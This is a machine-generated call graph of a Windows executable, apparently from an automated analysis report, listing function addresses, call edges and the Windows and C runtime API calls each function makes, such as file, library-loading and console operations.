91127->91123 91142 8bf650 91127->91142 91149 8bf8d0 91127->91149 91170 8c2c10 91127->91170 91223 8ced18 IsDialogMessageW GetClassLongW 91127->91223 91225 923948 23 API calls 91127->91225 91226 9234ba 82 API calls __wsopen_s 91127->91226 91128 90331d 91133 903325 91128->91133 91129 9428f2 GetForegroundWindow 91129->91137 91130->91137 91131->91127 91131->91130 91134 903884 Sleep 91134->91127 91137->91122 91137->91126 91137->91127 91137->91128 91137->91129 91137->91134 91227 93557f 23 API calls 91137->91227 91228 91e899 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 91137->91228 91229 91d3fa 47 API calls 91137->91229 91143 8bf66f 91142->91143 91144 8bf683 91142->91144 91230 8beb60 185 API calls 2 library calls 91143->91230 91231 9234ba 82 API calls __wsopen_s 91144->91231 91146 8bf67a 91146->91127 91148 903b50 91148->91148 91150 8bf910 91149->91150 91167 8bf9dc messages 91150->91167 91237 8d01c2 5 API calls __Init_thread_wait 91150->91237 91153 903ba5 91155 8bc25d 22 API calls 91153->91155 91153->91167 91154 8bc25d 22 API calls 91154->91167 91158 903bbf 91155->91158 91238 8d0023 29 API calls __onexit 91158->91238 91160 903bc9 91239 8d0178 RtlEnterCriticalSection RtlLeaveCriticalSection SetEvent ResetEvent 91160->91239 91163 8bc1c3 22 API calls 91163->91167 91164 8c1df0 22 API calls 91164->91167 91165 8bfce1 91165->91127 91167->91154 91167->91163 91167->91164 91167->91165 91169 9234ba 82 API calls 91167->91169 91232 8bc117 91167->91232 91236 8b1d5f 94 API calls 91167->91236 91240 8d01c2 5 API calls __Init_thread_wait 91167->91240 91241 8d0023 29 API calls __onexit 91167->91241 91242 8d0178 RtlEnterCriticalSection RtlLeaveCriticalSection SetEvent ResetEvent 91167->91242 91243 9367e8 95 API calls 91167->91243 91169->91167 91171 8c2c76 91170->91171 91172 8c30b0 91170->91172 91174 906f0c 91171->91174 91175 8c2c90 91171->91175 91388 8d01c2 5 API calls __Init_thread_wait 91172->91388 91399 936fc3 185 API calls 91174->91399 91245 8c3220 91175->91245 91178 8c30ba 91180 8c30fb 91178->91180 91389 8bb606 91178->91389 91185 906f18 91180->91185 91186 8c312c 91180->91186 91181 8c3220 9 API calls 91183 8c2cb6 91181->91183 91183->91180 91184 8c2cec 91183->91184 91184->91185 91208 8c2d08 __fread_nolock 91184->91208 91400 9234ba 82 API calls __wsopen_s 91185->91400 91396 8bc5e7 23 API calls messages 91186->91396 91189 8c30d4 91395 8d0178 RtlEnterCriticalSection RtlLeaveCriticalSection SetEvent ResetEvent 91189->91395 91190 8c3139 91397 8cd993 95 API calls 91190->91397 91192 906f49 91401 9234ba 82 API calls __wsopen_s 91192->91401 91195 8c2e2f 91196 8c2e3c 91195->91196 91197 906fac 91195->91197 91199 8c3220 9 API calls 91196->91199 91403 93566c 54 API calls _wcslen 91197->91403 91201 8c2e49 91199->91201 91200 8cfd5b 22 API calls 91200->91208 91204 8c3220 9 API calls 91201->91204 91210 8c2ec7 messages 91201->91210 91202 8c3172 91398 8cfa6d 23 API calls 91202->91398 91203 8cfd8b 22 API calls 91203->91208 91214 8c2e63 91204->91214 91206 8c301d 91206->91127 91208->91190 91208->91192 91208->91195 91208->91200 91208->91203 91208->91210 91211 906f8d 91208->91211 91209 8c2f7b messages 91209->91206 91387 8cd593 22 API calls messages 91209->91387 91210->91202 91210->91209 91212 8c3220 9 API calls 91210->91212 91255 8b68db 91210->91255 91261 93e131 91210->91261 91297 9394b2 91210->91297 91300 91d3ec 91210->91300 91303 921db4 91210->91303 91307 926e0f 91210->91307 91404 9234ba 82 API calls __wsopen_s 91210->91404 91402 9234ba 82 API calls __wsopen_s 91211->91402 91212->91210 91214->91210 91216 8bc1c3 22 API calls 91214->91216 91216->91210 91223->91127 91224->91127 91225->91127 91226->91127 91227->91137 91228->91137 91229->91137 91230->91146 91231->91148 91233 8bc122 91232->91233 91234 8bc151 91233->91234 91244 8bc28f 41 API calls 91233->91244 91234->91167 91236->91167 91237->91153 91238->91160 91239->91167 91240->91167 91241->91167 91242->91167 91243->91167 91244->91234 91246 8c3261 91245->91246 91249 8c323d 91245->91249 91405 8d01c2 5 API calls __Init_thread_wait 91246->91405 91254 8c2ca0 91249->91254 91407 8d01c2 5 API calls __Init_thread_wait 91249->91407 91250 8c326b 91250->91249 91406 8d0178 RtlEnterCriticalSection RtlLeaveCriticalSection SetEvent ResetEvent 91250->91406 91251 8ca007 91251->91254 91408 8d0178 RtlEnterCriticalSection RtlLeaveCriticalSection SetEvent ResetEvent 91251->91408 91254->91181 91256 8b68e5 91255->91256 91258 8b68ec 91255->91258 91409 8de608 91256->91409 91259 8b68fb 91258->91259 91260 8b690c FreeLibrary 91258->91260 91259->91210 91260->91259 91262 8bc25d 22 API calls 91261->91262 91263 93e148 91262->91263 91674 8b8e90 91263->91674 91266 8b7c18 22 API calls 91267 93e16a 91266->91267 91268 8b8e90 53 API calls 91267->91268 91269 93e177 91268->91269 91270 93e1f4 91269->91270 91271 93e18f 91269->91271 91272 8b8e90 53 API calls 91270->91272 91716 8bce67 39 API calls 91271->91716 91274 93e1f9 91272->91274 91276 93e241 91274->91276 91277 93e206 91274->91277 91275 93e194 91275->91277 91279 93e1ad 91275->91279 91280 93e259 91276->91280 91731 8bce67 39 API calls 91276->91731 91730 8bb5c1 22 API calls 91277->91730 91717 8b86ac 91279->91717 91282 93e272 91280->91282 91732 8bce67 39 API calls 91280->91732 91285 8bc1c3 22 API calls 91282->91285 91287 93e28c 91285->91287 91286 93e1ba 91288 8b7cf8 22 API calls 91286->91288 91697 919227 91287->91697 91290 93e1c8 91288->91290 91291 8b86ac 22 API calls 91290->91291 91292 93e1e1 91291->91292 91293 8b7cf8 22 API calls 91292->91293 91295 93e1ef 91293->91295 91294 93e213 91294->91210 91733 8b7c5d 22 API calls 91295->91733 91748 937e80 91297->91748 91299 9394c2 91299->91210 91852 91dadc lstrlenW 91300->91852 91304 921dbd 91303->91304 91306 921dc2 91303->91306 91857 920e85 91304->91857 91306->91210 91308 8bc25d 22 API calls 91307->91308 91309 926e3b 91308->91309 91310 8bc25d 22 API calls 91309->91310 91311 926e44 91310->91311 91312 926e58 91311->91312 92054 8bce67 39 API calls 91311->92054 91314 8b8e90 53 API calls 91312->91314 91319 926e75 _wcslen 91314->91319 91315 926eda 91317 8b8e90 53 API calls 91315->91317 91316 926fdd 91878 8b686d 91316->91878 91320 926ee6 91317->91320 91319->91315 91319->91316 91386 927007 91319->91386 91325 8bc1c3 22 API calls 91320->91325 91329 926ef9 91320->91329 91322 927003 91324 8bc25d 22 API calls 91322->91324 91322->91386 91323 8b686d 94 API calls 91323->91322 91326 927038 91324->91326 91325->91329 91327 8bc25d 22 API calls 91326->91327 91332 927044 91327->91332 91328 926f45 91331 8b8e90 53 API calls 91328->91331 91329->91328 91330 926f23 91329->91330 91333 8bc1c3 22 API calls 91329->91333 91334 8b52b7 22 API calls 91330->91334 91335 926f52 91331->91335 91336 8bc25d 22 API calls 91332->91336 91333->91330 91337 926f2d 91334->91337 91338 926f65 91335->91338 91339 926f5b 91335->91339 91340 92704d 91336->91340 91341 8b8e90 53 API calls 91337->91341 92055 91e0b7 GetFileAttributesW 91338->92055 91342 8bc1c3 22 API calls 91339->91342 91344 8bc25d 22 API calls 91340->91344 91346 926f39 91341->91346 91342->91338 91345 927056 91344->91345 91349 8b8e90 53 API calls 91345->91349 91350 8b7cf8 22 API calls 91346->91350 91347 926f6e 91348 926f81 91347->91348 91351 8b660f 22 API calls 91347->91351 91353 8b8e90 53 API calls 91348->91353 91359 926f87 91348->91359 91352 927063 91349->91352 91350->91328 91351->91348 91900 8b6bff 91352->91900 91355 926fbe 91353->91355 92056 91cf94 57 API calls 91355->92056 91356 927084 91942 8b660f 91356->91942 91359->91386 91361 9270c7 91363 8bc1c3 22 API calls 91361->91363 91362 8b660f 22 API calls 91365 9270a4 91362->91365 91364 9270d8 91363->91364 91366 8b7cf8 22 API calls 91364->91366 91365->91361 91368 8b84e7 22 API calls 91365->91368 91367 9270e6 91366->91367 91369 8b7cf8 22 API calls 91367->91369 91370 9270b9 91368->91370 91371 9270f4 91369->91371 91372 8b84e7 22 API calls 91370->91372 91373 8b7cf8 22 API calls 91371->91373 91372->91361 91374 927102 91373->91374 91375 8b8e90 53 API calls 91374->91375 91376 92710e 91375->91376 91945 91d6da 91376->91945 91378 92711f 91379 91d3ec 4 API calls 91378->91379 91380 927129 91379->91380 91381 8b8e90 53 API calls 91380->91381 91384 927157 91380->91384 91382 927147 91381->91382 91999 922865 91382->91999 91385 8b68db 68 API calls 91384->91385 91385->91386 91386->91210 91387->91209 91388->91178 91390 8bb615 _wcslen 91389->91390 91391 8cfd8b 22 API calls 91390->91391 91392 8bb63d __fread_nolock 91391->91392 91393 8cfd5b 22 API calls 91392->91393 91394 8bb653 91393->91394 91394->91189 91395->91180 91396->91190 91397->91202 91398->91202 91399->91185 91400->91210 91401->91210 91402->91210 91403->91214 91404->91210 91405->91250 91406->91249 91407->91251 91408->91254 91410 8de614 BuildCatchObjectHelperInternal 91409->91410 91411 8de63a 91410->91411 91412 8de625 91410->91412 91421 8de635 __fread_nolock 91411->91421 91422 8d911d RtlEnterCriticalSection 91411->91422 91439 8df269 20 API calls _abort 91412->91439 91415 8de62a 91440 8e277c 26 API calls _abort 91415->91440 91416 8de656 91423 8de592 91416->91423 91419 8de661 91441 8de67e RtlLeaveCriticalSection __fread_nolock 91419->91441 91421->91258 91422->91416 91424 8de59f 91423->91424 91425 8de5b4 91423->91425 91474 8df269 20 API calls _abort 91424->91474 91431 8de5af 91425->91431 91442 8ddb9b 91425->91442 91427 8de5a4 91475 8e277c 26 API calls _abort 91427->91475 91431->91419 91435 8de5d6 91459 8e85cf 91435->91459 91439->91415 91440->91421 91441->91421 91443 8ddbaf 91442->91443 91444 8ddbb3 91442->91444 91448 8e4d0a 91443->91448 91444->91443 91445 8dd8e5 __fread_nolock 26 API calls 91444->91445 91446 8ddbd3 91445->91446 91482 8e594e 91446->91482 91449 8e4d20 91448->91449 91451 8de5d0 91448->91451 91450 8e2958 _free 20 API calls 91449->91450 91449->91451 91450->91451 91452 8dd8e5 91451->91452 91453 8dd906 91452->91453 91454 8dd8f1 91452->91454 91453->91435 91614 8df269 20 API calls _abort 91454->91614 91456 8dd8f6 91615 8e277c 26 API calls _abort 91456->91615 91458 8dd901 91458->91435 91460 8e85de 91459->91460 91461 8e85f3 91459->91461 91619 8df256 20 API calls _abort 91460->91619 91462 8e862e 91461->91462 91466 8e861a 91461->91466 91621 8df256 20 API calls _abort 91462->91621 91465 8e85e3 91620 8df269 20 API calls _abort 91465->91620 91616 8e85a7 91466->91616 91467 8e8633 91622 8df269 20 API calls _abort 91467->91622 91471 8de5dc 91471->91431 91476 8e2958 91471->91476 91472 8e863b 91623 8e277c 26 API calls _abort 91472->91623 91474->91427 91475->91431 91477 8e2963 RtlFreeHeap 91476->91477 91481 8e298c __dosmaperr 91476->91481 91478 8e2978 91477->91478 91477->91481 91673 8df269 20 API calls _abort 91478->91673 91480 8e297e GetLastError 91480->91481 91481->91431 91483 8e595a BuildCatchObjectHelperInternal 91482->91483 91484 8e597a 91483->91484 91485 8e5962 91483->91485 91487 8e5a18 91484->91487 91492 8e59af 91484->91492 91561 8df256 20 API calls _abort 91485->91561 91566 8df256 20 API calls _abort 91487->91566 91488 8e5967 91562 8df269 20 API calls _abort 91488->91562 91491 8e5a1d 91567 8df269 20 API calls _abort 91491->91567 91507 8e50d7 RtlEnterCriticalSection 91492->91507 91493 8e596f __fread_nolock 91493->91443 91496 8e5a25 91568 8e277c 26 API calls _abort 91496->91568 91497 8e59b5 91499 8e59e6 91497->91499 91500 8e59d1 91497->91500 91508 8e5a39 91499->91508 91563 8df269 20 API calls _abort 91500->91563 91503 8e59d6 91564 8df256 20 API calls _abort 91503->91564 91504 8e59e1 91565 8e5a10 RtlLeaveCriticalSection __wsopen_s 91504->91565 91507->91497 91509 8e5a67 91508->91509 91546 8e5a60 91508->91546 91510 8e5a8a 91509->91510 91511 8e5a6b 91509->91511 91514 8e5adb 91510->91514 91515 8e5abe 91510->91515 91576 8df256 20 API calls _abort 91511->91576 91518 8e5af1 91514->91518 91582 8e93c4 28 API calls __fread_nolock 91514->91582 91579 8df256 20 API calls _abort 91515->91579 91516 8e5c41 91516->91504 91517 8e5a70 91577 8df269 20 API calls _abort 91517->91577 91569 8e55de 91518->91569 91522 8e5a77 91578 8e277c 26 API calls _abort 91522->91578 91524 8e5ac3 91580 8df269 20 API calls _abort 91524->91580 91528 8e5aff 91533 8e5b25 91528->91533 91534 8e5b03 91528->91534 91529 8e5b38 91531 8e5b4c 91529->91531 91532 8e5b92 WriteFile 91529->91532 91530 8e5acb 91581 8e277c 26 API calls _abort 91530->91581 91536 8e5b54 91531->91536 91537 8e5b82 91531->91537 91539 8e5bb5 GetLastError 91532->91539 91545 8e5b1b 91532->91545 91584 8e53be 45 API calls 3 library calls 91533->91584 91538 8e5bf9 91534->91538 91583 8e5571 GetLastError WriteConsoleW CreateFileW __wsopen_s 91534->91583 91541 8e5b59 91536->91541 91542 8e5b72 91536->91542 91587 8e5654 7 API calls 2 library calls 91537->91587 91538->91546 91591 8df269 20 API calls _abort 91538->91591 91539->91545 91541->91538 91547 8e5b62 91541->91547 91586 8e5821 8 API calls 2 library calls 91542->91586 91545->91538 91545->91546 91552 8e5bd5 91545->91552 91593 8d0a0c 91546->91593 91585 8e5733 7 API calls 2 library calls 91547->91585 91549 8e5b70 91549->91545 91551 8e5c1e 91592 8df256 20 API calls _abort 91551->91592 91555 8e5bdc 91552->91555 91556 8e5bf0 91552->91556 91588 8df269 20 API calls _abort 91555->91588 91590 8df233 20 API calls __dosmaperr 91556->91590 91559 8e5be1 91589 8df256 20 API calls _abort 91559->91589 91561->91488 91562->91493 91563->91503 91564->91504 91565->91493 91566->91491 91567->91496 91568->91493 91600 8ef83c 91569->91600 91571 8e55f3 91571->91528 91571->91529 91572 8e55ee 91572->91571 91609 8e2d04 38 API calls 2 library calls 91572->91609 91574 8e5616 91574->91571 91575 8e5634 GetConsoleMode 91574->91575 91575->91571 91576->91517 91577->91522 91578->91546 91579->91524 91580->91530 91581->91546 91582->91518 91583->91545 91584->91545 91585->91549 91586->91549 91587->91549 91588->91559 91589->91546 91590->91546 91591->91551 91592->91546 91594 8d0a15 91593->91594 91595 8d0a17 IsProcessorFeaturePresent 91593->91595 91594->91516 91597 8d0bdd 91595->91597 91613 8d0ba1 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 91597->91613 91599 8d0cc0 91599->91516 91601 8ef849 91600->91601 91602 8ef856 91600->91602 91610 8df269 20 API calls _abort 91601->91610 91605 8ef862 91602->91605 91611 8df269 20 API calls _abort 91602->91611 91604 8ef84e 91604->91572 91605->91572 91607 8ef883 91612 8e277c 26 API calls _abort 91607->91612 91609->91574 91610->91604 91611->91607 91612->91604 91613->91599 91614->91456 91615->91458 91624 8e8525 91616->91624 91618 8e85cb 91618->91471 91619->91465 91620->91471 91621->91467 91622->91472 91623->91471 91625 8e8531 BuildCatchObjectHelperInternal 91624->91625 91635 8e50d7 RtlEnterCriticalSection 91625->91635 91627 8e853f 91628 8e8566 91627->91628 91629 8e8571 91627->91629 91636 8e864e 91628->91636 91651 8df269 20 API calls _abort 91629->91651 91632 8e856c 91652 8e859b RtlLeaveCriticalSection __wsopen_s 91632->91652 91634 8e858e __fread_nolock 91634->91618 91635->91627 91653 8e5354 91636->91653 91638 8e8664 91666 8e52c3 21 API calls 2 library calls 91638->91666 91639 8e865e 91639->91638 91640 8e8696 91639->91640 91642 8e5354 __wsopen_s 26 API calls 91639->91642 91640->91638 91643 8e5354 __wsopen_s 26 API calls 91640->91643 91645 8e868d 91642->91645 91646 8e86a2 CloseHandle 91643->91646 91644 8e86bc 91647 8e86de 91644->91647 91667 8df233 20 API calls __dosmaperr 91644->91667 91649 8e5354 __wsopen_s 26 API calls 91645->91649 91646->91638 91650 8e86ae GetLastError 91646->91650 91647->91632 91649->91640 91650->91638 91651->91632 91652->91634 91654 8e5361 91653->91654 91658 8e5376 91653->91658 91668 8df256 20 API calls _abort 91654->91668 91657 8e5366 91669 8df269 20 API calls _abort 91657->91669 91661 8e539b 91658->91661 91670 8df256 20 API calls _abort 91658->91670 91659 8e53a6 91671 8df269 20 API calls _abort 91659->91671 91661->91639 91663 8e536e 91663->91639 91664 8e53ae 91672 8e277c 26 API calls _abort 91664->91672 91666->91644 91667->91647 91668->91657 91669->91663 91670->91659 91671->91664 91672->91663 91673->91480 91675 8b8ea2 91674->91675 91676 8b8ea5 91674->91676 91675->91266 91677 8b8edb 91676->91677 91678 8b8ead 91676->91678 91679 8f5ccc 91677->91679 91682 8b8eed 91677->91682 91690 8f5be5 91677->91690 91734 8d5156 26 API calls 91678->91734 91737 8d5113 26 API calls 91679->91737 91735 8cfaa3 51 API calls 91682->91735 91683 8b8ebd 91686 8cfd5b 22 API calls 91683->91686 91684 8f5ce4 91684->91684 91688 8b8ec7 91686->91688 91691 8bb606 22 API calls 91688->91691 91689 8f5c5e 91736 8cfaa3 51 API calls 91689->91736 91690->91689 91692 8cfd8b 22 API calls 91690->91692 91691->91675 91693 8f5c2e 91692->91693 91694 8cfd5b 22 API calls 91693->91694 91695 8f5c55 91694->91695 91696 8bb606 22 API calls 91695->91696 91696->91689 91698 8bc25d 22 API calls 91697->91698 91699 91923d 91698->91699 91700 8b7c18 22 API calls 91699->91700 91701 919251 91700->91701 91708 919273 91701->91708 91738 918daa 91701->91738 91704 918daa 41 API calls 91704->91708 91705 8b86ac 22 API calls 91705->91708 91706 8b86ac 22 API calls 91706->91708 91707 8b7cf8 22 API calls 91707->91708 91708->91704 91708->91706 91708->91707 91709 919312 91708->91709 91712 9192f6 91708->91712 91710 8bc1c3 22 API calls 91709->91710 91711 919321 91709->91711 91710->91711 91711->91295 91713 8b86ac 22 API calls 91712->91713 91714 919306 91713->91714 91715 8b7cf8 22 API calls 91714->91715 91715->91709 91716->91275 91718 8b86bb 91717->91718 91719 8b8718 91717->91719 91718->91719 91721 8b86c6 91718->91721 91720 8bad22 22 API calls 91719->91720 91727 8b86e9 __fread_nolock 91720->91727 91722 8b86e1 91721->91722 91723 8f5873 91721->91723 91747 8b88bb 22 API calls 91722->91747 91724 8cfd5b 22 API calls 91723->91724 91726 8f587d 91724->91726 91728 8cfd8b 22 API calls 91726->91728 91727->91286 91729 8f58b0 91728->91729 91730->91294 91731->91280 91732->91282 91733->91294 91734->91683 91735->91683 91736->91679 91737->91684 91740 918dca _wcslen 91738->91740 91739 918eb9 91739->91705 91739->91708 91740->91739 91741 918ebe 91740->91741 91742 918dff 91740->91742 91741->91739 91746 8cd5dc 41 API calls 91741->91746 91742->91739 91745 8cd5dc 41 API calls 91742->91745 91745->91742 91746->91741 91747->91727 91749 8b8e90 53 API calls 91748->91749 91750 937eb7 91749->91750 91772 937efc messages 91750->91772 91786 938bfa 91750->91786 91752 9381a8 91753 938376 91752->91753 91758 9381b6 91752->91758 91836 938e0b 60 API calls 91753->91836 91756 938385 91757 938391 91756->91757 91756->91758 91757->91772 91799 937dad 91758->91799 91759 8b8e90 53 API calls 91777 937f70 91759->91777 91764 9381ef 91814 8cfbf0 91764->91814 91767 938229 91821 8b7d93 91767->91821 91768 93820f 91820 9234ba 82 API calls __wsopen_s 91768->91820 91772->91299 91773 93821a GetCurrentProcess TerminateProcess 91773->91767 91777->91752 91777->91759 91777->91772 91818 9140c5 22 API calls __fread_nolock 91777->91818 91819 938444 42 API calls _strftime 91777->91819 91778 9383ec 91778->91772 91780 938400 FreeLibrary 91778->91780 91779 938268 91833 938aa2 75 API calls 91779->91833 91780->91772 91785 938279 91785->91778 91834 8c1df0 22 API calls 91785->91834 91835 8bc5e7 23 API calls messages 91785->91835 91837 938aa2 75 API calls 91785->91837 91787 8bc7c9 22 API calls 91786->91787 91788 938c15 CharLowerBuffW 91787->91788 91789 918daa 41 API calls 91788->91789 91790 938c36 91789->91790 91792 8bc25d 22 API calls 91790->91792 91798 938c6f _wcslen 91790->91798 91793 938c51 91792->91793 91794 8b86ac 22 API calls 91793->91794 91795 938c65 91794->91795 91796 8bad22 22 API calls 91795->91796 91796->91798 91797 938d85 _wcslen 91797->91777 91798->91797 91838 938444 42 API calls _strftime 91798->91838 91800 937e13 91799->91800 91801 937dc8 91799->91801 91805 938fbd 91800->91805 91802 8cfd8b 22 API calls 91801->91802 91803 937dea 91802->91803 91803->91800 91804 8cfd5b 22 API calls 91803->91804 91804->91803 91806 9391d2 messages 91805->91806 91813 938fe1 _strcat _wcslen 91805->91813 91806->91764 91807 8bcc8f 39 API calls 91807->91813 91808 8bce67 39 API calls 91808->91813 91809 8bcfb5 39 API calls 91809->91813 91810 8b8e90 53 API calls 91810->91813 91811 8de99c 21 API calls ___std_exception_copy 91811->91813 91813->91806 91813->91807 91813->91808 91813->91809 91813->91810 91813->91811 91839 91eecc 24 API calls _wcslen 91813->91839 91816 8cfc05 91814->91816 91815 8cfc9d VirtualProtect 91817 8cfc6b 91815->91817 91816->91815 91816->91817 91817->91767 91817->91768 91818->91777 91819->91777 91820->91773 91822 8b7d9b 91821->91822 91823 8cfd5b 22 API calls 91822->91823 91824 8b7da9 91823->91824 91840 8b83b0 91824->91840 91827 8b83e0 91843 8bc910 91827->91843 91829 8b83f0 91830 8cfd8b 22 API calls 91829->91830 91831 8b848c 91829->91831 91830->91831 91831->91785 91832 8c1df0 22 API calls 91831->91832 91832->91779 91833->91785 91834->91785 91835->91785 91836->91756 91837->91785 91838->91797 91839->91813 91841 8cfd5b 22 API calls 91840->91841 91842 8b7db1 91841->91842 91842->91827 91844 8bc91b 91843->91844 91845 900728 91844->91845 91850 8bc923 messages 91844->91850 91846 8cfd5b 22 API calls 91845->91846 91848 900734 91846->91848 91847 8bc92a 91847->91829 91850->91847 91851 8bc990 22 API calls messages 91850->91851 91851->91850 91853 91d3f3 91852->91853 91854 91dafa GetFileAttributesW 91852->91854 91853->91210 91854->91853 91855 91db06 FindFirstFileW 91854->91855 91855->91853 91856 91db17 FindClose 91855->91856 91856->91853 91858 920e9c 91857->91858 91872 920fb5 91857->91872 91859 920ebc 91858->91859 91860 920ee9 91858->91860 91862 920f00 91858->91862 91859->91860 91864 920ed0 91859->91864 91861 8cfd8b 22 API calls 91860->91861 91866 920ede __fread_nolock 91861->91866 91863 8cfd8b 22 API calls 91862->91863 91873 920f1d 91862->91873 91863->91873 91867 8cfd8b 22 API calls 91864->91867 91865 920f44 91868 8cfd8b 22 API calls 91865->91868 91869 8cfd5b 22 API calls 91866->91869 91867->91866 91870 920f4a 91868->91870 91869->91872 91876 8cf2b7 22 API calls 91870->91876 91872->91306 91873->91864 91873->91865 91873->91866 91874 920f56 91877 8cf7a8 24 API calls 91874->91877 91876->91874 91877->91866 92057 8b6832 LoadLibraryA 91878->92057 91883 8f487c 91886 8b68db 68 API calls 91883->91886 91884 8b6898 LoadLibraryExW 92065 8b67fb LoadLibraryA 91884->92065 91888 8f4883 91886->91888 91890 8b67fb 3 API calls 91888->91890 91892 8f488b 91890->91892 91891 8b68c2 91891->91892 91893 8b68ce 91891->91893 92087 8b6a95 91892->92087 91895 8b68db 68 API calls 91893->91895 91897 8b68d3 91895->91897 91897->91322 91897->91323 91899 8f48b2 91901 8bc25d 22 API calls 91900->91901 91902 8b6c15 91901->91902 91903 8bc25d 22 API calls 91902->91903 91904 8b6c1d 91903->91904 91905 8bc25d 22 API calls 91904->91905 91906 8b6c25 91905->91906 91907 8bc25d 22 API calls 91906->91907 91908 8b6c2d 91907->91908 91909 8b6c61 91908->91909 91910 8f49a2 91908->91910 91912 8b86ac 22 API calls 91909->91912 91911 8bc1c3 22 API calls 91910->91911 91913 8f49ab 91911->91913 91914 8b6c6f 91912->91914 92222 8bbfbf 91913->92222 91916 8bad22 22 API calls 91914->91916 91917 8b6c79 91916->91917 91918 8b6ca4 91917->91918 91919 8b86ac 22 API calls 91917->91919 91920 8b6cc5 91918->91920 91934 8b6ce9 91918->91934 91937 8f49cd 91918->91937 91922 8b6c9a 91919->91922 91925 8b660f 22 API calls 91920->91925 91920->91934 91921 8b86ac 22 API calls 91924 8b6cfa 91921->91924 91923 8bad22 22 API calls 91922->91923 91923->91918 91926 8b6d10 91924->91926 91930 8bc1c3 22 API calls 91924->91930 91928 8b6cd2 91925->91928 91927 8b6d24 91926->91927 91932 8bc1c3 22 API calls 91926->91932 91931 8b6d2f 91927->91931 91935 8bc1c3 22 API calls 91927->91935 91933 8b86ac 22 API calls 91928->91933 91928->91934 91929 8b84e7 22 API calls 91939 8f4a8d 91929->91939 91930->91926 91936 8bc1c3 22 API calls 91931->91936 91940 8b6d3a 91931->91940 91932->91927 91933->91934 91934->91921 91935->91931 91936->91940 91937->91929 91938 8b660f 22 API calls 91938->91939 91939->91934 91939->91938 92228 8b51ec 22 API calls __fread_nolock 91939->92228 91940->91356 91943 8bc7c9 22 API calls 91942->91943 91944 8b661a 91943->91944 91944->91361 91944->91362 91946 91d6f6 91945->91946 91947 91d711 91946->91947 91948 91d6fb 91946->91948 91949 8bc25d 22 API calls 91947->91949 91950 8bc1c3 22 API calls 91948->91950 91998 91d70c 91948->91998 91951 91d719 91949->91951 91950->91998 91952 8bc25d 22 API calls 91951->91952 91953 91d721 91952->91953 91954 8bc25d 22 API calls 91953->91954 91955 91d72c 91954->91955 91956 8bc25d 22 API calls 91955->91956 91957 91d734 91956->91957 91958 8bc25d 22 API calls 91957->91958 91959 91d73c 91958->91959 91960 8bc25d 22 API calls 91959->91960 91961 91d744 91960->91961 91962 8bc25d 22 API calls 91961->91962 91963 91d74c 91962->91963 91964 8bc25d 22 API calls 91963->91964 91965 91d754 91964->91965 91966 8b6bff 22 API calls 91965->91966 91967 91d76b 91966->91967 91968 8b6bff 22 API calls 91967->91968 91969 91d784 91968->91969 91970 8b660f 22 API calls 91969->91970 91971 91d790 91970->91971 91972 91d7a3 91971->91972 91973 8bad22 22 API calls 91971->91973 91974 8b660f 22 API calls 91972->91974 91973->91972 91975 91d7ac 91974->91975 91976 91d7bc 91975->91976 91978 8bad22 22 API calls 91975->91978 91977 91d7ce 91976->91977 91979 8bc1c3 22 API calls 91976->91979 91980 8b7cf8 22 API calls 91977->91980 91978->91976 91979->91977 91981 91d7d9 91980->91981 92229 91d896 22 API calls 91981->92229 91983 91d7e8 92230 91d896 22 API calls 91983->92230 91985 91d7fb 91986 8b660f 22 API calls 91985->91986 91987 91d805 91986->91987 91988 91d80a 91987->91988 91989 91d81c 91987->91989 91991 8b52b7 22 API calls 91988->91991 91990 8b660f 22 API calls 91989->91990 91992 91d825 91990->91992 91993 91d817 91991->91993 91994 91d843 91992->91994 91995 8b52b7 22 API calls 91992->91995 91996 8b7cf8 22 API calls 91993->91996 91997 8b7cf8 22 API calls 91994->91997 91995->91993 91996->91994 91997->91998 91998->91378 92000 922872 __wsopen_s 91999->92000 92001 8cfd8b 22 API calls 92000->92001 92002 92288f 92001->92002 92003 8b70c2 22 API calls 92002->92003 92004 922899 92003->92004 92005 92266c 27 API calls 92004->92005 92006 9228a4 92005->92006 92007 8b6abf 64 API calls 92006->92007 92008 9228b9 92007->92008 92009 92298a 92008->92009 92010 9228dd 92008->92010 92011 922d84 75 API calls 92009->92011 92244 922d84 92010->92244 92027 922956 92011->92027 92015 8b6a95 40 API calls 92016 9229af 92015->92016 92017 8b6a95 40 API calls 92016->92017 92019 9229bf 92017->92019 92018 92290b 92251 8dd513 26 API calls 92018->92251 92021 8b6a95 40 API calls 92019->92021 92020 922993 messages 92020->91384 92023 9229da 92021->92023 92024 8b6a95 40 API calls 92023->92024 92025 9229ea 92024->92025 92026 8b6a95 40 API calls 92025->92026 92028 922a05 92026->92028 92027->92015 92027->92020 92029 8b6a95 40 API calls 92028->92029 92030 922a15 92029->92030 92031 8b6a95 40 API calls 92030->92031 92032 922a25 92031->92032 92033 8b6a95 40 API calls 92032->92033 92034 922a35 92033->92034 92231 922f35 GetTempPathW GetTempFileNameW 92034->92231 92036 922a40 92037 8de57b 29 API calls 92036->92037 92047 922a51 92037->92047 92038 922b0b 92039 8de608 67 API calls 92038->92039 92040 922b16 92039->92040 92042 922b30 92040->92042 92043 922b1c DeleteFileW 92040->92043 92041 8b6a95 40 API calls 92041->92047 92044 922baf CopyFileW 92042->92044 92050 922b36 92042->92050 92043->92020 92045 922bd7 DeleteFileW 92044->92045 92046 922bc5 DeleteFileW 92044->92046 92241 922ef6 CreateFileW 92045->92241 92046->92020 92047->92020 92047->92038 92047->92041 92232 8ddb43 92047->92232 92252 9221ec 79 API calls 92050->92252 92052 922b9a 92052->92045 92053 922b9e DeleteFileW 92052->92053 92053->92020 92054->91312 92055->91347 92056->91359 92058 8b684a GetProcAddress 92057->92058 92059 8b6868 92057->92059 92060 8b685a 92058->92060 92062 8de57b 92059->92062 92060->92059 92061 8b6861 FreeLibrary 92060->92061 92061->92059 92095 8de4ba 92062->92095 92064 8b688c 92064->91883 92064->91884 92066 8b682f 92065->92066 92067 8b6810 GetProcAddress 92065->92067 92070 8b6920 92066->92070 92068 8b6820 92067->92068 92068->92066 92069 8b6828 FreeLibrary 92068->92069 92069->92066 92071 8cfd8b 22 API calls 92070->92071 92072 8b6935 92071->92072 92148 8b70c2 92072->92148 92074 8b6941 __fread_nolock 92075 8b697c 92074->92075 92076 8f48ca 92074->92076 92077 8b6a45 92074->92077 92080 8b6a95 40 API calls 92075->92080 92081 8f48cf 92075->92081 92085 8b6a0e messages 92075->92085 92157 8b6abf 92075->92157 92162 922f6b 74 API calls 92076->92162 92151 8b6122 